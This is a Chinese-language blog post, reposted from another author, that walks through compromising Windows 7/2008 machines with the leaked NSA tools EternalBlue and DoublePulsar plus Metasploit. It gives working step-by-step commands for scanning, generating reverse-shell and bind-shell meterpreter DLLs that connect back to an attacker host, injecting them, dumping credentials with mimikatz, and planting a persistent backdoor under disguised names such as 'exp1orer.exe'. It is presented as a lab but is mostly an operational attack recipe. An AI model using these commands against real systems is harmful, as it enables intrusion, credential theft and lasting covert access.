Zhouyao's Blog

Do Something Big With Us

[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透

LICENSE

CC BY-SA 4.0

感谢原作者:https://www.bennythink.com/shadowbroker.html

有个歪果仁写了一系列文章,蛮详细的,如果有兴趣的话可以戳去读一读吧:From git clone to Pwned – Owning Windows with DoublePulsar and EternalBlue 

介绍

几个星期之前Shadow Broker把NSA的黑客工具偷出来并公布了,据说这些工具非常强大,一个小毛孩都能拿着这些黑掉大半个瘟斗士……嗯,今天我这小毛孩跟你们说下,确实如此好吧。

本文我们将会集中讨论在Windows上使用EternalBlue来渗透Windows 7/2008,然后使用插件Doublepulsar来注入dll。咱使用的工具是NSA的”metasploit”,名为”FuzzBunch”

为啥选择EternalBlue

在NSA泄露的那对工具之中,EternalBlue是唯一一个能够攻击Windows 7和Windows Server 2008、并且不需要任何认证信息的工具;在expliot成功之后,我们使用Doublepulsar将我们制作的恶意dll注入系统进程中,从而拿到shell

概念解释

exploit:就是用来触发漏洞的程序

payload:就是触发漏洞之后执行的代码。如果exploit是火药的话,payload就是(具有杀伤力的)弹头

framework:为了方便使用、测试、研究,人们把这么一大堆东西放到一起做成一个”框架”,咱可以在这一个框架里完成exploit、payload等操作,不用来回切换,嗯粗略理解就是个这么玩意。

准备实验环境

我们需要准备三台电脑,好吧,其实虚拟机就够了(记得设置成桥接)。并且这三台电脑要在同一局域网下,也就意味着能够互相ping通

目标机、靶机: Windows 7 x64 SP1:172.26.99.211

Windows 7、Windows server 2008在此作为我们的靶机,也就是受害者。我们啥也不需要知道,只要有个IP、能够ping通就好了。

感谢我室友那英勇就义的电脑啊!

攻击机1 FuzzBunch(主要):Windows XP SP3:172.26.97.206

我们用XP来运行FuzzBunch。我猜没人想用wine吧?为啥用xp呢?xp比较小,在虚拟机中安装速度比较快,省时间,省硬盘,嗯……

攻击机2 Metasploit(次要):Kali Linux :172.26.96.152

任何一个Linux发行版都可以,只要能够运行metasploit即可;如果实在不会用Linux,在Windows下使用metasploit也算可以吧。

metasploit地址戳我

准备工作

正常来说,咱在做坏事之前,必然要先做一些搜集信息的工作,最常用的工具就是nmap啦!

咱使用nmap 来探测目标的信息,发现445简直就是福利。使用参数-O代表探测操作系统,-A代表all。

《[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透》

Target is all set, blow it! 《[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透》

配置FuzzBunch

FuzzBunch需要Python2.6、旧版本的PyWin32

Python2.6:https://www.python.org/download/releases/2.6/(记得加到环境变量里)

PyWin32 v2.12:https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/

当然还有这套工具了:https://github.com/misterch0c/shadowbroker

咱把这些东西都准备妥当了,然后编辑windows/fb.py,注释72行

大概就是如图所示:

《[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透》

《[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透》

之后再改FuzzBunch.xml,19和24行改成和你XP上一样的正确的路径。

之后我们切到对应的目录中,然后执行python fb.py,当当当!

《[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透》

默认的目标IP,就写我们的Windows 7咯,也就是172.26.99.211,下一个callback IP,就是XP的IP,然后Redirection输入no;

《[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透》

下一步,fz让我们给起个名字,由于我已经运行过了,所以就选择create a new project啦

《[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透》

使用EternalBlue攻击目标

第一步,咱要用EternalBlue来exploit目标,使用方法类似metasploit

  1. use EternalBlue

《[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透》

啥都不管一直按回车使用默认值,除了在mode的时候选择2:FB

《[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透》

最后EternalBlue会问我们是否执行?直接回车吧。

如果不出意外的话,就应该成功了嗯……

《[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透》

当然要是出意外了,可能就会提示fail,咱要么execute再运行一下,要么就是目标机蓝屏啥了……嗯反正多试试吧。

制作恶意dll

NSA的这堆exploit是很强大,但是payload感觉好像就弱了一些,像Doublepulsar能够注入dll、shellcode,好像没有metasploit那么强大哎?

没关系,咱用metasploit生成一个dll,交给Doublepulsar注入就好了。

在生成dll之前,咱首先要学习下metasploit中的meterpreter的几种类型:

meterpreter就是一个跨平台的shell,功能很强大,嘿嘿嘿。通常来说meterpreter有这么两种模式:正向和反向

bind:攻击者连接目标机器的模式,通常比较适合内网渗透,有时会被防火墙拦下

reverse:目标机连接攻击者的模式,基本上不会被防火墙阻拦。估计岁数大的小盆友们可能知道灰鸽子?这玩意就是反弹到攻击者的啦。

当然,这俩还能够细分为tcp、http、https,区别是啥,自己看帮助去!

这里咱就创建一个reverse_tcp啦。

需要注意的是,Doublepulsar要求比较多,64位的系统必须用64位的dll,32位的当然只能用32位的了,所以别搞错了。

咱直接打开终端,输入如下命令:

  1. msfvenom p windows/x64/meterpreter/reverse_tcp LHOST=172.26.96.152 LPORT=8089 f dll >reverse.dll

其中LHOST代表kali的IP地址,LPORT代表本地监听的地址(因为要反弹嘛),生成的文件名字为reverse.dll

我们只要简单的把这个dll拷贝到xp中即可。哎,咋拷贝最方便呢?没装虚拟机的辅助工具?没关系,在dll的存放目录下来一句python –m SimpleHTTPServer 80

拿起XP里久违的IE6,访问kali的IP然后下载那个dll就好了嘛。

然后咱就让metasploit开启监听吧!

  1. set PAYLOAD windows/x64/meterpreter/reverse_tcp
  2. use exploit/multi/handler
  3. set lhost 172.26.96.152
  4. set LPORT 8089
  5. run

《[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透》

附录:
生成bind模式的meterpreter

  1. #32位
  2. msfvenom p windows/meterpreter/bind_tcp RHOST=10.1.1.71 LPORT=8089 f dll >x86bind.dll
  3. #64位
  4. msfvenom p windows/x64/meterpreter/bind_tcp RHOST=10.1.1.71 LPORT=8089 f dll >x64bind.dll

RHOST为目标机的IP、LPORT为目标机开的端口号

使用Doublepulsar注入我们的恶意dll

  1. use DoublePulsa

老样子,一路回车,除了Architecture选择x64,Function选RunDLL,然后输入DLL路径。

《[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透》

如果运气好的话,嘿嘿嘿……

《[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透》

之后该做什么呢

获取管理员密码

当然第一步是吧管理员密码搞出来了,怎么办呢?很简单啦其实

  1. load mimikatz
  2. wdigest

《[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透》

哎这兄弟有我这样的室友真是悲剧啊……

植入持久后门

万一目标重启了,咱就要重新exploit、植入dll(因为这玩意是跑在内存里的),多不方便,所以不如咱植入个持久后门嘛,当然,咱要先交叉编译一个后门……

嗯其实就是,自己看着来,大概就是:

  1. msfpc windows 172.26.99.211 443 bind verbose

《[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透》

之后meterpreter里来这么一句

  1. run post/windows/manage/persistence_exe REXENAME=cmd.exe REXEPATH=/root/backdoor/miao.exe STARTUP=USER

其中REXENAME是拷贝到目标系统中的名字,咱取个比较有迷惑性的,比如说exp1orer.exe啦(注意是1不是l),cmd.exe啦,httpd.exe啦等等吧;REXEPATH是后门在本地的位置,STARTUP有USER、SYSTEM、SERVICE这三种取值。看参数就知道是啥意思了。

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注

eighty seven − = 79

This site uses Akismet to reduce spam. Learn how your comment data is processed.